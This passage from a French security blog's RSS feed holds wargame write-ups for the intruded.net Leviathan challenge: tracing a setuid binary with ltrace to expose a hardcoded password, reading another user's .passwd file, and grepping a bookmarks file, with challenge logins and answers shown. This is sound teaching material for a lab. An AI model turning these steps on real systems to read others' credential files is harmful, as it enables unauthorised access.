<p>Je n&#8217;ai pas affiché la sortie complète, juste ce qui nous intéresse.<br />
On s&#8217;aperçoit qu&#8217;il y a un appel à <i>strcmp()</i>, et qu&#8217;en fonction du retour de la fonction, soit le programme affiche du texte (<i>puts()</i>) et se termine, soit on est <b>setuid</b> et le binaire effectue un appel à <i>system().</i></p>
<p>Partant de là il y a plusieurs méthodes pour trouver le password, j&#8217;ai choisi d&#8217;utiliser la commande <i>ltrace</i>.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level2<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ <span style="color: #c20cb9; font-weight: bold;">ltrace</span> .<span style="color: #000000; font-weight: bold;">/</span>check
__libc_start_main<span style="color: #7a0874; font-weight: bold;">&#40;</span>0x8048464, <span style="color: #000000;">1</span>, 0xbffffad4, 0x8048580, 0x8048530 <span style="color: #000000; font-weight: bold;">&lt;</span>unfinished ...<span style="color: #000000; font-weight: bold;">&gt;</span>
<span style="color: #7a0874; font-weight: bold;">printf</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;password: &quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>                                       = <span style="color: #000000;">10</span>
getchar<span style="color: #7a0874; font-weight: bold;">&#40;</span>0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: stoilepass
<span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">115</span>
getchar<span style="color: #7a0874; font-weight: bold;">&#40;</span>0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4<span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">116</span>
getchar<span style="color: #7a0874; font-weight: bold;">&#40;</span>0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4<span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">111</span>
strcmp<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;sto&quot;</span>, <span style="color: #ff0000;">&quot;sex&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>                                       = <span style="color: #000000;">1</span>
puts<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;Wrong password, Good Bye ...&quot;</span>Wrong password, Good Bye ...
<span style="color: #7a0874; font-weight: bold;">&#41;</span>                       = <span style="color: #000000;">29</span>
+++ exited <span style="color: #7a0874; font-weight: bold;">&#40;</span>status <span style="color: #000000;">29</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> +++</pre></td></tr></table></div>

<p>Décortiquons :<br />
Au prompt du password j&#8217;ai rentré &#8216;stoilepass&#8217;, et on voit que le strcmp se fait entre la chaîne &#8216;sto&#8217; (les 3 <i>getchar()</i>) et la chaîne &#8216;sex&#8217;, on en déduit que le pass est &#8216;sex&#8217;.</p>
<p>On ré-execute le binaire en rentrant le bon password, et hop on a un shell SUID level3, du coup il ne reste plus qu&#8217;à :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>level3<span style="color: #000000; font-weight: bold;">/</span>.passwd</pre></td></tr></table></div>

<p>Voilà, nous avons le password pour le level3.</p>
<p>Parmis les autres méthodes, on aurait pu utiliser :</p>
<ul>
<li><i>strings</i> mais en spécifiant l&#8217;option &#8216;-n 3&#8242; pour afficher les strings de 3 caractères minimum.</li>
<li><i>gdb</i> en placant un breakpoint à l&#8217;adresse 0x080484e9 (strcmp) et dépiler les 2 arguments.</li>
</ul>
<p>next?lol</p>
]]></content:encoded>
			<wfw:commentRss>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>intruded.net : leviathan &#8211; level #1</title>
		<link>http://whine.fr/2009/intruded-net-leviathan-level-1/</link>
		<comments>http://whine.fr/2009/intruded-net-leviathan-level-1/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 17:09:11 +0000</pubDate>
		<dc:creator>Nyx0uf</dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[intruded]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Sécurité]]></category>

		<guid isPermaLink="false">http://whine.fr/blog/?p=48</guid>
		<description><![CDATA[Voici comme promis le premier article pour les challenges intruded. On va donc voir comment résoudre le premier niveau, je rappelle que le but est de trouver le password level2. Ce premier niveau est vraiment très simple pour peu que vous connaissiez 2 commandes UNIX de base, c&#8217;est pour cela que je vous incite à [...]]]></description>
			<content:encoded><![CDATA[<p>Voici comme promis le premier article pour les challenges intruded.</p>
<p>On va donc voir comment résoudre le premier niveau, je rappelle que le but est de trouver le password level2.</p>
<p>Ce premier niveau est vraiment très simple pour peu que vous connaissiez 2 commandes UNIX de base, c&#8217;est pour cela que je vous incite à chercher par vous même <img src='http://whine.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><span id="more-48"></span><br />
Pour commencer le challenge on se connecte au serveur en SSH avec les informations<br />
données sur la page du challenge.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span>Nyxouf<span style="color: #000000; font-weight: bold;">@</span>nyx0ufs-macbook ~<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ <span style="color: #c20cb9; font-weight: bold;">ssh</span> level1<span style="color: #000000; font-weight: bold;">@</span>leviathan.intruded.net <span style="color: #660033;">-p</span> <span style="color: #000000;">10101</span>
level1<span style="color: #000000; font-weight: bold;">@</span>leviathan.intruded.net<span style="color: #000000; font-weight: bold;">\'</span>s password: leviathan
Linux leviathan 2.6.18-<span style="color: #000000;">6</span>-<span style="color: #000000;">686</span> <span style="color: #666666; font-style: italic;">#1 SMP Fri Jun 6 22:22:11 UTC 2008 i686</span>
level1<span style="color: #000000; font-weight: bold;">@</span>leviathan:~$</pre></td></tr></table></div>

<p>Nous voilà connectés sur le serveur dans le répertoire : /home/level1</p>
<p>Le premier réflex est de lister ce qui se trouve dans le répertoire afin de voir si il n&#8217;y aurait pas quelque chose d&#8217;intéressant.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level1<span style="color: #000000; font-weight: bold;">@</span>leviathan:~$ <span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-al</span>
total <span style="color: #000000;">28</span>
drwx------  <span style="color: #000000;">3</span> level1 level1 <span style="color: #000000;">4096</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">12</span> .
drwxr-xr-x <span style="color: #000000;">10</span> root   root   <span style="color: #000000;">4096</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 01:<span style="color: #000000;">55</span> ..
drwxr-xr-x  <span style="color: #000000;">2</span> root   level1 <span style="color: #000000;">4096</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">22</span> .backup
<span style="color: #660033;">-rw-r--r--</span>  <span style="color: #000000;">1</span> root   root      <span style="color: #000000;">0</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:08 .bash_history
<span style="color: #660033;">-rw-r--r--</span>  <span style="color: #000000;">1</span> root   root    <span style="color: #000000;">220</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">25</span> <span style="color: #000000;">22</span>:<span style="color: #000000;">24</span> .bash_logout
<span style="color: #660033;">-rw-r--r--</span>  <span style="color: #000000;">1</span> root   root    <span style="color: #000000;">414</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">25</span> <span style="color: #000000;">22</span>:<span style="color: #000000;">24</span> .bash_profile
<span style="color: #660033;">-rw-r--r--</span>  <span style="color: #000000;">1</span> root   root   <span style="color: #000000;">2227</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">25</span> <span style="color: #000000;">22</span>:<span style="color: #000000;">24</span> .bashrc
<span style="color: #660033;">-rw-r--r--</span>  <span style="color: #000000;">1</span> root   root     <span style="color: #000000;">10</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 01:<span style="color: #000000;">53</span> .passwd</pre></td></tr></table></div>

<p>On remarque de suite le répertoire caché nommé <strong><em><span style="color: #ff0000;">.backup</span></em></strong>, tout naturellement on va regarder ce qui se trouve dedans</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level1<span style="color: #000000; font-weight: bold;">@</span>leviathan:~$ <span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-al</span> .backup<span style="color: #000000; font-weight: bold;">/</span>
total <span style="color: #000000;">144</span>
drwxr-xr-x <span style="color: #000000;">2</span> root   level1   <span style="color: #000000;">4096</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">22</span> .
drwx------ <span style="color: #000000;">3</span> level1 level1   <span style="color: #000000;">4096</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">12</span> ..
<span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> root   level1 <span style="color: #000000;">133193</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">22</span> bookmarks.html</pre></td></tr></table></div>

<p>Tiens <strong><em><span style="color: #ff0000;">bookmarks.html</span></em></strong>, c&#8217;est quoi ce truc ? on ouvre, on verra bien..</p>
<p>Comme on pouvait le présumer le fichier contient une quantité de liens, et on se dit que pour trouver ce qui nous intéresse dans ce bordel il faudrait autre chose que lire le fichier ligne par ligne <img src='http://whine.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  C&#8217;est là que la commande <a title="Commande grep" href="http://fr.wikipedia.org/wiki/Grep" target="_blank">grep</a> arrive.. Ceux qui ne connaissant pas cette commande <a title="man grep" href="http://www.linux-kheops.com/doc/man/manfr/man-html-0.9/man1/grep.1.html" target="_blank">RTFM !</a></p>
<p>Comme ont sait qu&#8217;on cherche un password pour le level2 on peut :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level1<span style="color: #000000; font-weight: bold;">@</span>leviathan:~$ <span style="color: #c20cb9; font-weight: bold;">grep</span> level2 .backup<span style="color: #000000; font-weight: bold;">/</span>bookmarks.html</pre></td></tr></table></div>

<p>ou bien</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level1<span style="color: #000000; font-weight: bold;">@</span>leviathan:~$ <span style="color: #c20cb9; font-weight: bold;">grep</span> pass .backup<span style="color: #000000; font-weight: bold;">/</span>bookmarks.html</pre></td></tr></table></div>

<p>Finalement grep nous renvoie :</p>
<p>&lt;dt&gt;&lt;a id=&nbsp;&raquo;rdf:#$2wIU71&#8243; href=&nbsp;&raquo;http://nahtaivel.intruded.net/passwordus.html&nbsp;&raquo;&gt;password to level2&lt;/a&gt; </p>
<p>Je pense que c&#8217;est suffisament explicite <img src='http://whine.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Je vous laisse aller récupérer le password à l&#8217;url indiquée.</p>
<p>next?lol</p>
]]></content:encoded>
			<wfw:commentRss>http://whine.fr/2009/intruded-net-leviathan-level-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Challenges sécu info</title>
		<link>http://whine.fr/2009/challenges-secu-info/</link>
		<comments>http://whine.fr/2009/challenges-secu-info/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 14:19:59 +0000</pubDate>
		<dc:creator>Nyx0uf</dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[intruded]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Sécurité]]></category>

		<guid isPermaLink="false">http://whine.fr/blog/?p=45</guid>
		<description><![CDATA[Grâce à ivanlef0u j&#8217;ai trouvé un truc pour m&#8217;occuper provisoirement, les challenges de intruded. kesako ? Le but de ces challenges est d&#8217;exploiter des failles applicatives sur un serveur de type Linux en se connectant en SSH. On commence par le premier niveau d&#8217;un challenge et le but et d&#8217;arriver à lancer un shell de [...]]]></description>
			<content:encoded><![CDATA[<p>Grâce à <a title="ivanlef0u" href="http://www.ivanlef0u.tuxfamily.org/" target="_blank">ivanlef0u</a> j&#8217;ai trouvé un truc pour m&#8217;occuper provisoirement, les challenges de <a title="intruded" href="http://www.intruded.net/wglist.html">intruded</a>.</p>
<p>kesako ? Le but de ces challenges est d&#8217;exploiter des failles applicatives sur un serveur de type Linux en se connectant en SSH. On commence par le premier niveau d&#8217;un challenge et le but et d&#8217;arriver à lancer un shell de SUID n+1 afin de lire le fichier qui contient le pass du level suivant.</p>
<p>Bon étant loin d&#8217;être aussi caler que ivanlef0u en sécurité, je vais commencer par le premier challenge, à savoir <a title="Leviathan" href="http://www.intruded.net/leviathan.html">Leviathan</a>.</p>
<p>je posterai donc ici un article par niveau afin d&#8217;expliquer comment le résoudre.</p>
]]></content:encoded>
			<wfw:commentRss>http://whine.fr/2009/challenges-secu-info/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
